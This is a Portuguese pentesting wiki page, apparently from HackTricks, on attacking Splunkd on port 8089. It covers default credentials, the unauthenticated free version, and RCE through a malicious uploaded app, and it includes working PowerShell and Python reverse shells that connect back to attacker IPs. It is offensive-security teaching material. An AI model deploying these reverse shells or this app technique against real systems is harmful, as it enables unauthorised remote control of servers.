# 8089 - Pentesting Splunkd {{#include ../banners/hacktricks-training.md}} ## **Informações Básicas** - Ferramenta de análise de logs usada para coleta, análise e visualização de dados - Comumente usada em monitoramento de segurança e análise de negócios - Portas padrão: - Servidor web: 8000 - Serviço Splunkd: 8089 ### Vetores de Vulnerabilidade: 1. Exploração da Versão Gratuita - A versão de teste se converte automaticamente em versão gratuita após 60 dias - A versão gratuita não possui autenticação - Risco de segurança potencial se não for gerenciada - Administradores podem ignorar implicações de segurança 2. Fraquezas de Credenciais - Versões mais antigas: Credenciais padrão `admin:changeme` - Versões mais novas: Credenciais definidas durante a instalação - Potencial para uso de senhas fracas (por exemplo, `admin`, `Welcome`, `Password123`) 3. Oportunidades de Execução Remota de Código - Múltiplos métodos de execução de código: - Aplicações Django do lado do servidor - Endpoints REST - Entradas scriptadas - Scripts de alerta - Suporte multiplataforma (Windows/Linux) - Entradas scriptadas podem executar: - Scripts Bash - Scripts PowerShell - Scripts em lote Potencial de Exploração Chave: - Armazenamento de dados sensíveis - Falta de autenticação na versão gratuita - Múltiplos vetores para potencial execução remota de código - Possibilidade de aproveitar entradas scriptadas para comprometimento do sistema ### Shodan - `Splunk build` ## RCE ### Criar Aplicação Personalizada O Splunk oferece um método sofisticado para execução remota de código através da implantação de aplicações personalizadas, aproveitando suas capacidades de script multiplataforma. A técnica central de exploração gira em torno da criação de uma aplicação maliciosa que pode executar shells reversos em sistemas Windows e Linux. Uma aplicação personalizada pode executar **scripts Python, Batch, Bash ou PowerShell**. Além disso, **o Splunk vem com Python instalado**, então mesmo em sistemas **Windows** você poderá executar código Python. Você pode usar [**este**](https://github.com/0xjpuff/reverse_shell_splunk) exemplo com o **`bin`** contendo exemplo para [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) e [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ou você pode criar o seu próprio. O processo de exploração segue uma metodologia consistente entre plataformas: ``` splunk_shell/ ├── bin (reverse shell scripts) └── default (inputs.conf configuration) ``` O arquivo de configuração crítico `inputs.conf` ativa o script por: - Definindo `disabled = 0` - Configurando um intervalo de execução de 10 segundos - Definindo o tipo de fonte do script A implantação é simples: 1. Crie o pacote de aplicativo malicioso 2. Configure um listener (Netcat/socat) na máquina atacante 3. Faça o upload do aplicativo através da interface do Splunk 4. Acione a execução automática do script após o upload Exemplo de shell reverso do Windows PowerShell: ```powershell $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() ``` Exemplo de shell reverso Python no Linux: ```python import sys, socket, os, pty ip = "10.10.14.15" port = "443" s = socket.socket() s.connect((ip, int(port))) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn('/bin/bash') ``` ### RCE & Escalação de Privilégios Na página a seguir, você pode encontrar uma explicação de como este serviço pode ser abusado para escalar privilégios e obter persistência: {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}} ## Referências - [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}}